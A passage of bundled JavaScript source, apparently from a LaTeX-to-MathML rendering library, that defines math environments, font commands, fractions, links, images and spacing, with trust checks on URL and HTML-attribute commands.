7998// {dcases} is a {cases} environment where cells are set in \displaystyle,
7999// as defined in mathtools.sty.
8000// {rcases} is another mathtools environment. It's brace is on the right side.
8001defineEnvironment({
8002 type: "array",
8003 names: ["cases", "dcases", "rcases", "drcases"],
8004 props: {
8005 numArgs: 0
8006 },
8007 handler(context) {
8008 const payload = {
8009 cols: [],
8010 envClasses: ["cases"]
8011 };
8012 const res = parseArray(context.parser, payload, dCellStyle(context.envName));
8013 return {
8014 type: "leftright",
8015 mode: context.mode,
8016 body: [res],
8017 left: context.envName.indexOf("r") > -1 ? "." : "\\{",
8018 right: context.envName.indexOf("r") > -1 ? "\\}" : ".",
8019 rightColor: undefined
8020 };
8021 },
8022 mathmlBuilder: mathmlBuilder$7
8023});
8024
8025// In the align environment, one uses ampersands, &, to specify number of
8026// columns in each row, and to locate spacing between each column.
8027// align gets automatic numbering. align* and aligned do not.
8028// The alignedat environment can be used in math mode.
8029defineEnvironment({
8030 type: "array",
8031 names: ["align", "align*", "aligned", "split"],
8032 props: {
8033 numArgs: 0
8034 },
8035 handler: alignedHandler,
8036 mathmlBuilder: mathmlBuilder$7
8037});
8038
8039// alignat environment is like an align environment, but one must explicitly
8040// specify maximum number of columns in each row, and can adjust where spacing occurs.
8041defineEnvironment({
8042 type: "array",
8043 names: ["alignat", "alignat*", "alignedat"],
8044 props: {
8045 numArgs: 1
8046 },
8047 handler: alignedHandler,
8048 mathmlBuilder: mathmlBuilder$7
8049});
8050
8051// A gathered environment is like an array environment with one centered
8052// column, but where rows are considered lines so get \jot line spacing
8053// and contents are set in \displaystyle.
8054defineEnvironment({
8055 type: "array",
8056 names: ["gathered", "gather", "gather*"],
8057 props: {
8058 numArgs: 0
8059 },
8060 handler(context) {
8061 if (context.envName !== "gathered") {
8062 validateAmsEnvironmentContext(context);
8063 }
8064 const res = {
8065 cols: [],
8066 envClasses: ["abut", "jot"],
8067 autoTag: getAutoTag(context.envName),
8068 emptySingleRow: true,
8069 leqno: context.parser.settings.leqno
8070 };
8071 return parseArray(context.parser, res, "display");
8072 },
8073 mathmlBuilder: mathmlBuilder$7
8074});
8075
8076defineEnvironment({
8077 type: "array",
8078 names: ["equation", "equation*"],
8079 props: {
8080 numArgs: 0
8081 },
8082 handler(context) {
8083 validateAmsEnvironmentContext(context);
8084 const res = {
8085 autoTag: getAutoTag(context.envName),
8086 emptySingleRow: true,
8087 singleRow: true,
8088 maxNumCols: 1,
8089 envClasses: ["align"],
8090 leqno: context.parser.settings.leqno
8091 };
8092 return parseArray(context.parser, res, "display");
8093 },
8094 mathmlBuilder: mathmlBuilder$7
8095});
8096
8097defineEnvironment({
8098 type: "array",
8099 names: ["multline", "multline*"],
8100 props: {
8101 numArgs: 0
8102 },
8103 handler(context) {
8104 validateAmsEnvironmentContext(context);
8105 const res = {
8106 autoTag: context.envName === "multline",
8107 maxNumCols: 1,
8108 envClasses: ["jot", "multline"],
8109 leqno: context.parser.settings.leqno
8110 };
8111 return parseArray(context.parser, res, "display");
8112 },
8113 mathmlBuilder: mathmlBuilder$7
8114});
8115
8116defineEnvironment({
8117 type: "array",
8118 names: ["CD"],
8119 props: {
8120 numArgs: 0
8121 },
8122 handler(context) {
8123 validateAmsEnvironmentContext(context);
8124 return parseCD(context.parser);
8125 },
8126 mathmlBuilder: mathmlBuilder$7
8127});
8128
8129// Catch \hline outside array environment
8130defineFunction({
8131 type: "text", // Doesn't matter what this is.
8132 names: ["\\hline", "\\hdashline"],
8133 props: {
8134 numArgs: 0,
8135 allowedInText: true,
8136 allowedInMath: true
8137 },
8138 handler(context, args) {
8139 throw new ParseError(`${context.funcName} valid only within array environment`);
8140 }
8141});
8142
8143const environments = _environments;
8144
8145// Environment delimiters. HTML/MathML rendering is defined in the corresponding
8146// defineEnvironment definitions.
8147defineFunction({
8148 type: "environment",
8149 names: ["\\begin", "\\end"],
8150 props: {
8151 numArgs: 1,
8152 argTypes: ["text"]
8153 },
8154 handler({ parser, funcName }, args) {
8155 const nameGroup = args[0];
8156 if (nameGroup.type !== "ordgroup") {
8157 throw new ParseError("Invalid environment name", nameGroup);
8158 }
8159 let envName = "";
8160 for (let i = 0; i < nameGroup.body.length; ++i) {
8161 envName += assertNodeType(nameGroup.body[i], "textord").text;
8162 }
8163
8164 if (funcName === "\\begin") {
8165 // begin...end is similar to left...right
8166 if (!Object.prototype.hasOwnProperty.call(environments, envName )) {
8167 throw new ParseError("No such environment: " + envName, nameGroup);
8168 }
8169 // Build the environment object. Arguments and other information will
8170 // be made available to the begin and end methods using properties.
8171 const env = environments[envName];
8172 const { args, optArgs } = parser.parseArguments("\\begin{" + envName + "}", env);
8173 const context = {
8174 mode: parser.mode,
8175 envName,
8176 parser
8177 };
8178 const result = env.handler(context, args, optArgs);
8179 parser.expect("\\end", false);
8180 const endNameToken = parser.nextToken;
8181 const end = assertNodeType(parser.parseFunction(), "environment");
8182 if (end.name !== envName) {
8183 throw new ParseError(
8184 `Mismatch: \\begin{${envName}} matched by \\end{${end.name}}`,
8185 endNameToken
8186 );
8187 }
8188 return result;
8189 }
8190
8191 return {
8192 type: "environment",
8193 mode: parser.mode,
8194 name: envName,
8195 nameGroup
8196 };
8197 }
8198});
8199
8200defineFunction({
8201 type: "envTag",
8202 names: ["\\env@tag"],
8203 props: {
8204 numArgs: 1,
8205 argTypes: ["math"]
8206 },
8207 handler({ parser }, args) {
8208 return {
8209 type: "envTag",
8210 mode: parser.mode,
8211 body: args[0]
8212 };
8213 },
8214 mathmlBuilder(group, style) {
8215 return new mathMLTree.MathNode("mrow");
8216 }
8217});
8218
8219defineFunction({
8220 type: "noTag",
8221 names: ["\\env@notag"],
8222 props: {
8223 numArgs: 0
8224 },
8225 handler({ parser }) {
8226 return {
8227 type: "noTag",
8228 mode: parser.mode
8229 };
8230 },
8231 mathmlBuilder(group, style) {
8232 return new mathMLTree.MathNode("mrow");
8233 }
8234});
8235
8236const isLongVariableName = (group, font) => {
8237 if (font !== "mathrm" || group.body.type !== "ordgroup" || group.body.body.length === 1) {
8238 return false
8239 }
8240 if (group.body.body[0].type !== "mathord") { return false }
8241 for (let i = 1; i < group.body.body.length; i++) {
8242 const parseNodeType = group.body.body[i].type;
8243 if (!(parseNodeType === "mathord" ||
8244 (parseNodeType === "textord" && !isNaN(group.body.body[i].text)))) {
8245 return false
8246 }
8247 }
8248 return true
8249};
8250
8251const mathmlBuilder$6 = (group, style) => {
8252 const font = group.font;
8253 const newStyle = style.withFont(font);
8254 const mathGroup = buildGroup$1(group.body, newStyle);
8255
8256 if (mathGroup.children.length === 0) { return mathGroup } // empty group, e.g., \mathrm{}
8257 if (font === "boldsymbol" && ["mo", "mpadded", "mrow"].includes(mathGroup.type)) {
8258 mathGroup.style.fontWeight = "bold";
8259 return mathGroup
8260 }
8261 // Check if it is possible to consolidate elements into a single <mi> element.
8262 if (isLongVariableName(group, font)) {
8263 // This is a \mathrm{…} group. It gets special treatment because symbolsOrd.js
8264 // wraps <mi> elements with <mrow>s to work around a Firefox bug.
8265 const mi = mathGroup.children[0].children[0];
8266 delete mi.attributes.mathvariant;
8267 for (let i = 1; i < mathGroup.children.length; i++) {
8268 mi.children[0].text += mathGroup.children[i].type === "mn"
8269 ? mathGroup.children[i].children[0].text
8270 : mathGroup.children[i].children[0].children[0].text;
8271 }
8272 // Wrap in a <mrow> to prevent the same Firefox bug.
8273 const bogus = new mathMLTree.MathNode("mtext", new mathMLTree.TextNode("\u200b"));
8274 return new mathMLTree.MathNode("mrow", [bogus, mi])
8275 }
8276 let canConsolidate = mathGroup.children[0].type === "mo";
8277 for (let i = 1; i < mathGroup.children.length; i++) {
8278 if (mathGroup.children[i].type === "mo" && font === "boldsymbol") {
8279 mathGroup.children[i].style.fontWeight = "bold";
8280 }
8281 if (mathGroup.children[i].type !== "mi") { canConsolidate = false; }
8282 const localVariant = mathGroup.children[i].attributes &&
8283 mathGroup.children[i].attributes.mathvariant || "";
8284 if (localVariant !== "normal") { canConsolidate = false; }
8285 }
8286 if (!canConsolidate) { return mathGroup }
8287 // Consolidate the <mi> elements.
8288 const mi = mathGroup.children[0];
8289 for (let i = 1; i < mathGroup.children.length; i++) {
8290 mi.children.push(mathGroup.children[i].children[0]);
8291 }
8292 if (mi.attributes.mathvariant && mi.attributes.mathvariant === "normal") {
8293 // Workaround for a Firefox bug that renders spurious space around
8294 // a <mi mathvariant="normal">
8295 // Ref: https://bugs.webkit.org/show_bug.cgi?id=129097
8296 // We insert a text node that contains a zero-width space and wrap in an mrow.
8297 // TODO: Get rid of this <mi> workaround when the Firefox bug is fixed.
8298 const bogus = new mathMLTree.MathNode("mtext", new mathMLTree.TextNode("\u200b"));
8299 return new mathMLTree.MathNode("mrow", [bogus, mi])
8300 }
8301 return mi
8302};
8303
8304const fontAliases = {
8305 "\\Bbb": "\\mathbb",
8306 "\\bold": "\\mathbf",
8307 "\\frak": "\\mathfrak",
8308 "\\bm": "\\boldsymbol"
8309};
8310
8311defineFunction({
8312 type: "font",
8313 names: [
8314 // styles
8315 "\\mathrm",
8316 "\\mathit",
8317 "\\mathbf",
8318 "\\mathnormal",
8319 "\\up@greek",
8320 "\\boldsymbol",
8321
8322 // families
8323 "\\mathbb",
8324 "\\mathcal",
8325 "\\mathfrak",
8326 "\\mathscr",
8327 "\\mathsf",
8328 "\\mathsfit",
8329 "\\mathtt",
8330
8331 // aliases
8332 "\\Bbb",
8333 "\\bm",
8334 "\\bold",
8335 "\\frak"
8336 ],
8337 props: {
8338 numArgs: 1,
8339 allowedInArgument: true
8340 },
8341 handler: ({ parser, funcName }, args) => {
8342 const body = normalizeArgument(args[0]);
8343 let func = funcName;
8344 if (func in fontAliases) {
8345 func = fontAliases[func];
8346 }
8347 return {
8348 type: "font",
8349 mode: parser.mode,
8350 font: func.slice(1),
8351 body
8352 };
8353 },
8354 mathmlBuilder: mathmlBuilder$6
8355});
8356
8357// Old font changing functions
8358defineFunction({
8359 type: "font",
8360 names: ["\\rm", "\\sf", "\\tt", "\\bf", "\\it", "\\cal"],
8361 props: {
8362 numArgs: 0,
8363 allowedInText: true
8364 },
8365 handler: ({ parser, funcName, breakOnTokenText }, args) => {
8366 const { mode } = parser;
8367 const body = parser.parseExpression(true, breakOnTokenText, true);
8368 const fontStyle = `math${funcName.slice(1)}`;
8369
8370 return {
8371 type: "font",
8372 mode: mode,
8373 font: fontStyle,
8374 body: {
8375 type: "ordgroup",
8376 mode: parser.mode,
8377 body
8378 }
8379 };
8380 },
8381 mathmlBuilder: mathmlBuilder$6
8382});
8383
8384const stylArray = ["display", "text", "script", "scriptscript"];
8385const scriptLevel = { auto: -1, display: 0, text: 0, script: 1, scriptscript: 2 };
8386
8387const mathmlBuilder$5 = (group, style) => {
8388 // Track the scriptLevel of the numerator and denominator.
8389 // We may need that info for \mathchoice or for adjusting em dimensions.
8390 const childOptions = group.scriptLevel === "auto"
8391 ? style.incrementLevel()
8392 : group.scriptLevel === "display"
8393 ? style.withLevel(StyleLevel.TEXT)
8394 : group.scriptLevel === "text"
8395 ? style.withLevel(StyleLevel.SCRIPT)
8396 : style.withLevel(StyleLevel.SCRIPTSCRIPT);
8397
8398 // Chromium (wrongly) continues to shrink fractions beyond scriptscriptlevel.
8399 // So we check for levels that Chromium shrinks too small.
8400 // If necessary, set an explicit fraction depth.
8401 const numer = buildGroup$1(group.numer, childOptions);
8402 const denom = buildGroup$1(group.denom, childOptions);
8403 if (style.level === 3) {
8404 numer.style.mathDepth = "2";
8405 numer.setAttribute("scriptlevel", "2");
8406 denom.style.mathDepth = "2";
8407 denom.setAttribute("scriptlevel", "2");
8408 }
8409
8410 let node = new mathMLTree.MathNode("mfrac", [numer, denom]);
8411
8412 if (!group.hasBarLine) {
8413 node.setAttribute("linethickness", "0px");
8414 } else if (group.barSize) {
8415 const ruleWidth = calculateSize(group.barSize, style);
8416 node.setAttribute("linethickness", ruleWidth.number + ruleWidth.unit);
8417 }
8418
8419 if (group.leftDelim != null || group.rightDelim != null) {
8420 const withDelims = [];
8421
8422 if (group.leftDelim != null) {
8423 const leftOp = new mathMLTree.MathNode("mo", [
8424 new mathMLTree.TextNode(group.leftDelim.replace("\\", ""))
8425 ]);
8426 leftOp.setAttribute("fence", "true");
8427 withDelims.push(leftOp);
8428 }
8429
8430 withDelims.push(node);
8431
8432 if (group.rightDelim != null) {
8433 const rightOp = new mathMLTree.MathNode("mo", [
8434 new mathMLTree.TextNode(group.rightDelim.replace("\\", ""))
8435 ]);
8436 rightOp.setAttribute("fence", "true");
8437 withDelims.push(rightOp);
8438 }
8439
8440 node = makeRow(withDelims);
8441 }
8442
8443 if (group.scriptLevel !== "auto") {
8444 node = new mathMLTree.MathNode("mstyle", [node]);
8445 node.setAttribute("displaystyle", String(group.scriptLevel === "display"));
8446 node.setAttribute("scriptlevel", scriptLevel[group.scriptLevel]);
8447 }
8448
8449 return node;
8450};
8451
8452defineFunction({
8453 type: "genfrac",
8454 names: [
8455 "\\dfrac",
8456 "\\frac",
8457 "\\tfrac",
8458 "\\dbinom",
8459 "\\binom",
8460 "\\tbinom",
8461 "\\\\atopfrac", // can’t be entered directly
8462 "\\\\bracefrac",
8463 "\\\\brackfrac" // ditto
8464 ],
8465 props: {
8466 numArgs: 2,
8467 allowedInArgument: true
8468 },
8469 handler: ({ parser, funcName }, args) => {
8470 const numer = args[0];
8471 const denom = args[1];
8472 let hasBarLine = false;
8473 let leftDelim = null;
8474 let rightDelim = null;
8475 let scriptLevel = "auto";
8476
8477 switch (funcName) {
8478 case "\\dfrac":
8479 case "\\frac":
8480 case "\\tfrac":
8481 hasBarLine = true;
8482 break;
8483 case "\\\\atopfrac":
8484 hasBarLine = false;
8485 break;
8486 case "\\dbinom":
8487 case "\\binom":
8488 case "\\tbinom":
8489 leftDelim = "(";
8490 rightDelim = ")";
8491 break;
8492 case "\\\\bracefrac":
8493 leftDelim = "\\{";
8494 rightDelim = "\\}";
8495 break;
8496 case "\\\\brackfrac":
8497 leftDelim = "[";
8498 rightDelim = "]";
8499 break;
8500 default:
8501 throw new Error("Unrecognized genfrac command");
8502 }
8503
8504 switch (funcName) {
8505 case "\\dfrac":
8506 case "\\dbinom":
8507 scriptLevel = "display";
8508 break;
8509 case "\\tfrac":
8510 case "\\tbinom":
8511 scriptLevel = "text";
8512 break;
8513 }
8514
8515 return {
8516 type: "genfrac",
8517 mode: parser.mode,
8518 continued: false,
8519 numer,
8520 denom,
8521 hasBarLine,
8522 leftDelim,
8523 rightDelim,
8524 scriptLevel,
8525 barSize: null
8526 };
8527 },
8528 mathmlBuilder: mathmlBuilder$5
8529});
8530
8531defineFunction({
8532 type: "genfrac",
8533 names: ["\\cfrac"],
8534 props: {
8535 numArgs: 2
8536 },
8537 handler: ({ parser, funcName }, args) => {
8538 const numer = args[0];
8539 const denom = args[1];
8540
8541 return {
8542 type: "genfrac",
8543 mode: parser.mode,
8544 continued: true,
8545 numer,
8546 denom,
8547 hasBarLine: true,
8548 leftDelim: null,
8549 rightDelim: null,
8550 scriptLevel: "display",
8551 barSize: null
8552 };
8553 }
8554});
8555
8556// Infix generalized fractions -- these are not rendered directly, but replaced
8557// immediately by one of the variants above.
8558defineFunction({
8559 type: "infix",
8560 names: ["\\over", "\\choose", "\\atop", "\\brace", "\\brack"],
8561 props: {
8562 numArgs: 0,
8563 infix: true
8564 },
8565 handler({ parser, funcName, token }) {
8566 let replaceWith;
8567 switch (funcName) {
8568 case "\\over":
8569 replaceWith = "\\frac";
8570 break;
8571 case "\\choose":
8572 replaceWith = "\\binom";
8573 break;
8574 case "\\atop":
8575 replaceWith = "\\\\atopfrac";
8576 break;
8577 case "\\brace":
8578 replaceWith = "\\\\bracefrac";
8579 break;
8580 case "\\brack":
8581 replaceWith = "\\\\brackfrac";
8582 break;
8583 default:
8584 throw new Error("Unrecognized infix genfrac command");
8585 }
8586 return {
8587 type: "infix",
8588 mode: parser.mode,
8589 replaceWith,
8590 token
8591 };
8592 }
8593});
8594
8595const delimFromValue = function(delimString) {
8596 let delim = null;
8597 if (delimString.length > 0) {
8598 delim = delimString;
8599 delim = delim === "." ? null : delim;
8600 }
8601 return delim;
8602};
8603
8604defineFunction({
8605 type: "genfrac",
8606 names: ["\\genfrac"],
8607 props: {
8608 numArgs: 6,
8609 allowedInArgument: true,
8610 argTypes: ["math", "math", "size", "text", "math", "math"]
8611 },
8612 handler({ parser }, args) {
8613 const numer = args[4];
8614 const denom = args[5];
8615
8616 // Look into the parse nodes to get the desired delimiters.
8617 const leftNode = normalizeArgument(args[0]);
8618 const leftDelim = leftNode.type === "atom" && leftNode.family === "open"
8619 ? delimFromValue(leftNode.text)
8620 : null;
8621 const rightNode = normalizeArgument(args[1]);
8622 const rightDelim =
8623 rightNode.type === "atom" && rightNode.family === "close"
8624 ? delimFromValue(rightNode.text)
8625 : null;
8626
8627 const barNode = assertNodeType(args[2], "size");
8628 let hasBarLine;
8629 let barSize = null;
8630 if (barNode.isBlank) {
8631 // \genfrac acts differently than \above.
8632 // \genfrac treats an empty size group as a signal to use a
8633 // standard bar size. \above would see size = 0 and omit the bar.
8634 hasBarLine = true;
8635 } else {
8636 barSize = barNode.value;
8637 hasBarLine = barSize.number > 0;
8638 }
8639
8640 // Find out if we want displaystyle, textstyle, etc.
8641 let scriptLevel = "auto";
8642 let styl = args[3];
8643 if (styl.type === "ordgroup") {
8644 if (styl.body.length > 0) {
8645 const textOrd = assertNodeType(styl.body[0], "textord");
8646 scriptLevel = stylArray[Number(textOrd.text)];
8647 }
8648 } else {
8649 styl = assertNodeType(styl, "textord");
8650 scriptLevel = stylArray[Number(styl.text)];
8651 }
8652
8653 return {
8654 type: "genfrac",
8655 mode: parser.mode,
8656 numer,
8657 denom,
8658 continued: false,
8659 hasBarLine,
8660 barSize,
8661 leftDelim,
8662 rightDelim,
8663 scriptLevel
8664 };
8665 },
8666 mathmlBuilder: mathmlBuilder$5
8667});
8668
8669// \above is an infix fraction that also defines a fraction bar size.
8670defineFunction({
8671 type: "infix",
8672 names: ["\\above"],
8673 props: {
8674 numArgs: 1,
8675 argTypes: ["size"],
8676 infix: true
8677 },
8678 handler({ parser, funcName, token }, args) {
8679 return {
8680 type: "infix",
8681 mode: parser.mode,
8682 replaceWith: "\\\\abovefrac",
8683 barSize: assertNodeType(args[0], "size").value,
8684 token
8685 };
8686 }
8687});
8688
8689defineFunction({
8690 type: "genfrac",
8691 names: ["\\\\abovefrac"],
8692 props: {
8693 numArgs: 3,
8694 argTypes: ["math", "size", "math"]
8695 },
8696 handler: ({ parser, funcName }, args) => {
8697 const numer = args[0];
8698 const barSize = assert(assertNodeType(args[1], "infix").barSize);
8699 const denom = args[2];
8700
8701 const hasBarLine = barSize.number > 0;
8702 return {
8703 type: "genfrac",
8704 mode: parser.mode,
8705 numer,
8706 denom,
8707 continued: false,
8708 hasBarLine,
8709 barSize,
8710 leftDelim: null,
8711 rightDelim: null,
8712 scriptLevel: "auto"
8713 };
8714 },
8715
8716 mathmlBuilder: mathmlBuilder$5
8717});
8718
8719// \hbox is provided for compatibility with LaTeX functions that act on a box.
8720// This function by itself doesn't do anything but set scriptlevel to \textstyle
8721// and prevent a soft line break.
8722
8723defineFunction({
8724 type: "hbox",
8725 names: ["\\hbox"],
8726 props: {
8727 numArgs: 1,
8728 argTypes: ["hbox"],
8729 allowedInArgument: true,
8730 allowedInText: false
8731 },
8732 handler({ parser }, args) {
8733 return {
8734 type: "hbox",
8735 mode: parser.mode,
8736 body: ordargument(args[0])
8737 };
8738 },
8739 mathmlBuilder(group, style) {
8740 const newStyle = style.withLevel(StyleLevel.TEXT);
8741 const mrow = buildExpressionRow(group.body, newStyle);
8742 return consolidateText(mrow)
8743 }
8744});
8745
8746const mathmlBuilder$4 = (group, style) => {
8747 const accentNode = stretchy.mathMLnode(group.label);
8748 accentNode.style["math-depth"] = 0;
8749 return new mathMLTree.MathNode(group.isOver ? "mover" : "munder", [
8750 buildGroup$1(group.base, style),
8751 accentNode
8752 ]);
8753};
8754
8755// Horizontal stretchy braces
8756defineFunction({
8757 type: "horizBrace",
8758 names: ["\\overbrace", "\\underbrace"],
8759 props: {
8760 numArgs: 1
8761 },
8762 handler({ parser, funcName }, args) {
8763 return {
8764 type: "horizBrace",
8765 mode: parser.mode,
8766 label: funcName,
8767 isOver: /^\\over/.test(funcName),
8768 base: args[0]
8769 };
8770 },
8771 mathmlBuilder: mathmlBuilder$4
8772});
8773
8774defineFunction({
8775 type: "href",
8776 names: ["\\href"],
8777 props: {
8778 numArgs: 2,
8779 argTypes: ["url", "original"],
8780 allowedInText: true
8781 },
8782 handler: ({ parser, token }, args) => {
8783 const body = args[1];
8784 const href = assertNodeType(args[0], "url").url;
8785
8786 if (
8787 !parser.settings.isTrusted({
8788 command: "\\href",
8789 url: href
8790 })
8791 ) {
8792 throw new ParseError(`Function "\\href" is not trusted`, token)
8793 }
8794
8795 return {
8796 type: "href",
8797 mode: parser.mode,
8798 href,
8799 body: ordargument(body)
8800 };
8801 },
8802 mathmlBuilder: (group, style) => {
8803 const math = new MathNode("math", [buildExpressionRow(group.body, style)]);
8804 const anchorNode = new AnchorNode(group.href, [], [math]);
8805 return anchorNode
8806 }
8807});
8808
8809defineFunction({
8810 type: "href",
8811 names: ["\\url"],
8812 props: {
8813 numArgs: 1,
8814 argTypes: ["url"],
8815 allowedInText: true
8816 },
8817 handler: ({ parser, token }, args) => {
8818 const href = assertNodeType(args[0], "url").url;
8819
8820 if (
8821 !parser.settings.isTrusted({
8822 command: "\\url",
8823 url: href
8824 })
8825 ) {
8826 throw new ParseError(`Function "\\url" is not trusted`, token)
8827 }
8828
8829 const chars = [];
8830 for (let i = 0; i < href.length; i++) {
8831 let c = href[i];
8832 if (c === "~") {
8833 c = "\\textasciitilde";
8834 }
8835 chars.push({
8836 type: "textord",
8837 mode: "text",
8838 text: c
8839 });
8840 }
8841 const body = {
8842 type: "text",
8843 mode: parser.mode,
8844 font: "\\texttt",
8845 body: chars
8846 };
8847 return {
8848 type: "href",
8849 mode: parser.mode,
8850 href,
8851 body: ordargument(body)
8852 };
8853 }
8854});
8855
8856defineFunction({
8857 type: "html",
8858 names: ["\\class", "\\id", "\\style", "\\data"],
8859 props: {
8860 numArgs: 2,
8861 argTypes: ["raw", "original"],
8862 allowedInText: true
8863 },
8864 handler: ({ parser, funcName, token }, args) => {
8865 const value = assertNodeType(args[0], "raw").string;
8866 const body = args[1];
8867
8868 if (parser.settings.strict) {
8869 throw new ParseError(`Function "${funcName}" is disabled in strict mode`, token)
8870 }
8871
8872 let trustContext;
8873 const attributes = {};
8874
8875 switch (funcName) {
8876 case "\\class":
8877 attributes.class = value;
8878 trustContext = {
8879 command: "\\class",
8880 class: value
8881 };
8882 break;
8883 case "\\id":
8884 attributes.id = value;
8885 trustContext = {
8886 command: "\\id",
8887 id: value
8888 };
8889 break;
8890 case "\\style":
8891 attributes.style = value;
8892 trustContext = {
8893 command: "\\style",
8894 style: value
8895 };
8896 break;
8897 case "\\data": {
8898 const data = value.split(",");
8899 for (let i = 0; i < data.length; i++) {
8900 const keyVal = data[i].split("=");
8901 if (keyVal.length !== 2) {
8902 throw new ParseError("Error parsing key-value for \\data");
8903 }
8904 attributes["data-" + keyVal[0].trim()] = keyVal[1].trim();
8905 }
8906
8907 trustContext = {
8908 command: "\\data",
8909 attributes
8910 };
8911 break;
8912 }
8913 default:
8914 throw new Error("Unrecognized html command");
8915 }
8916
8917 if (!parser.settings.isTrusted(trustContext)) {
8918 throw new ParseError(`Function "${funcName}" is not trusted`, token)
8919 }
8920 return {
8921 type: "html",
8922 mode: parser.mode,
8923 attributes,
8924 body: ordargument(body)
8925 };
8926 },
8927 mathmlBuilder: (group, style) => {
8928 const element = buildExpressionRow(group.body, style);
8929
8930 const classes = [];
8931 if (group.attributes.class) {
8932 classes.push(...group.attributes.class.trim().split(/\s+/));
8933 }
8934 element.classes = classes;
8935
8936 for (const attr in group.attributes) {
8937 if (attr !== "class" && Object.prototype.hasOwnProperty.call(group.attributes, attr)) {
8938 element.setAttribute(attr, group.attributes[attr]);
8939 }
8940 }
8941
8942 return element;
8943 }
8944});
8945
8946const sizeData = function(str) {
8947 if (/^[-+]? *(\d+(\.\d*)?|\.\d+)$/.test(str)) {
8948 // str is a number with no unit specified.
8949 // default unit is bp, per graphix package.
8950 return { number: +str, unit: "bp" }
8951 } else {
8952 const match = /([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/.exec(str);
8953 if (!match) {
8954 throw new ParseError("Invalid size: '" + str + "' in \\includegraphics");
8955 }
8956 const data = {
8957 number: +(match[1] + match[2]), // sign + magnitude, cast to number
8958 unit: match[3]
8959 };
8960 if (!validUnit(data)) {
8961 throw new ParseError("Invalid unit: '" + data.unit + "' in \\includegraphics.");
8962 }
8963 return data
8964 }
8965};
8966
8967defineFunction({
8968 type: "includegraphics",
8969 names: ["\\includegraphics"],
8970 props: {
8971 numArgs: 1,
8972 numOptionalArgs: 1,
8973 argTypes: ["raw", "url"],
8974 allowedInText: false
8975 },
8976 handler: ({ parser, token }, args, optArgs) => {
8977 let width = { number: 0, unit: "em" };
8978 let height = { number: 0.9, unit: "em" }; // sorta character sized.
8979 let totalheight = { number: 0, unit: "em" };
8980 let alt = "";
8981
8982 if (optArgs[0]) {
8983 const attributeStr = assertNodeType(optArgs[0], "raw").string;
8984
8985 // Parser.js does not parse key/value pairs. We get a string.
8986 const attributes = attributeStr.split(",");
8987 for (let i = 0; i < attributes.length; i++) {
8988 const keyVal = attributes[i].split("=");
8989 if (keyVal.length === 2) {
8990 const str = keyVal[1].trim();
8991 switch (keyVal[0].trim()) {
8992 case "alt":
8993 alt = str;
8994 break
8995 case "width":
8996 width = sizeData(str);
8997 break
8998 case "height":
8999 height = sizeData(str);
9000 break
9001 case "totalheight":
9002 totalheight = sizeData(str);
9003 break
9004 default:
9005 throw new ParseError("Invalid key: '" + keyVal[0] + "' in \\includegraphics.")
9006 }
9007 }
9008 }
9009 }
9010
9011 const src = assertNodeType(args[0], "url").url;
9012
9013 if (alt === "") {
9014 // No alt given. Use the file name. Strip away the path.
9015 alt = src;
9016 alt = alt.replace(/^.*[\\/]/, "");
9017 alt = alt.substring(0, alt.lastIndexOf("."));
9018 }
9019
9020 if (
9021 !parser.settings.isTrusted({
9022 command: "\\includegraphics",
9023 url: src
9024 })
9025 ) {
9026 throw new ParseError(`Function "\\includegraphics" is not trusted`, token)
9027 }
9028
9029 return {
9030 type: "includegraphics",
9031 mode: parser.mode,
9032 alt: alt,
9033 width: width,
9034 height: height,
9035 totalheight: totalheight,
9036 src: src
9037 }
9038 },
9039 mathmlBuilder: (group, style) => {
9040 const height = calculateSize(group.height, style);
9041 const depth = { number: 0, unit: "em" };
9042
9043 if (group.totalheight.number > 0) {
9044 if (group.totalheight.unit === height.unit &&
9045 group.totalheight.number > height.number) {
9046 depth.number = group.totalheight.number - height.number;
9047 depth.unit = height.unit;
9048 }
9049 }
9050
9051 let width = 0;
9052 if (group.width.number > 0) {
9053 width = calculateSize(group.width, style);
9054 }
9055
9056 const graphicStyle = { height: height.number + depth.number + "em" };
9057 if (width.number > 0) {
9058 graphicStyle.width = width.number + width.unit;
9059 }
9060 if (depth.number > 0) {
9061 graphicStyle.verticalAlign = -depth.number + depth.unit;
9062 }
9063
9064 const node = new Img(group.src, group.alt, graphicStyle);
9065 node.height = height;
9066 node.depth = depth;
9067 return new mathMLTree.MathNode("mtext", [node])
9068 }
9069});
9070
9071// Horizontal spacing commands
9072
9073
9074// TODO: \hskip and \mskip should support plus and minus in lengths
9075
9076defineFunction({
9077 type: "kern",
9078 names: ["\\kern", "\\mkern", "\\hskip", "\\mskip"],
9079 props: {
9080 numArgs: 1,
9081 argTypes: ["size"],
9082 primitive: true,
9083 allowedInText: true
9084 },
9085 handler({ parser, funcName, token }, args) {
9086 const size = assertNodeType(args[0], "size");
9087 if (parser.settings.strict) {
9088 const mathFunction = funcName[1] === "m"; // \mkern, \mskip
9089 const muUnit = size.value.unit === "mu";
9090 if (mathFunction) {
9091 if (!muUnit) {
9092 throw new ParseError(`LaTeX's ${funcName} supports only mu units, ` +
9093 `not ${size.value.unit} units`, token)
9094 }
9095 if (parser.mode !== "math") {
9096 throw new ParseError(`LaTeX's ${funcName} works only in math mode`, token)
9097 }
9098 } else {
9099 // !mathFunction
9100 if (muUnit) {
9101 throw new ParseError(`LaTeX's ${funcName} doesn't support mu units`, token)
9102 }
9103 }
9104 }
9105 return {
9106 type: "kern",
9107 mode: parser.mode,
9108 dimension: size.value
9109 };
9110 },
9111 mathmlBuilder(group, style) {
9112 const dimension = calculateSize(group.dimension, style);
9113 const ch = dimension.unit === "em" ? spaceCharacter(dimension.number) : "";
9114 if (group.mode === "text" && ch.length > 0) {
9115 const character = new mathMLTree.TextNode(ch);
9116 return new mathMLTree.MathNode("mtext", [character]);
9117 } else {
9118 const node = new mathMLTree.MathNode("mspace");
9119 node.setAttribute("width", dimension.number + dimension.unit);
9120 if (dimension.number < 0) {
9121 node.style.marginLeft = dimension.number + dimension.unit;
9122 }
9123 return node;
9124 }
9125 }
9126});
9127
9128const spaceCharacter = function(width) {
9129 if (width >= 0.05555 && width <= 0.05556) {
9130 return "\u200a"; // &VeryThinSpace;
9131 } else if (width >= 0.1666 && width <= 0.1667) {
9132 return "\u2009"; // &ThinSpace;
9133 } else if (width >= 0.2222 && width <= 0.2223) {
9134 return "\u2005"; // &MediumSpace;
9135 } else if (width >= 0.2777 && width <= 0.2778) {
9136 return "\u2005\u200a"; // &ThickSpace;
9137 } else {
9138 return "";
9139 }
9140};
9141
9142// Limit valid characters to a small set, for safety.
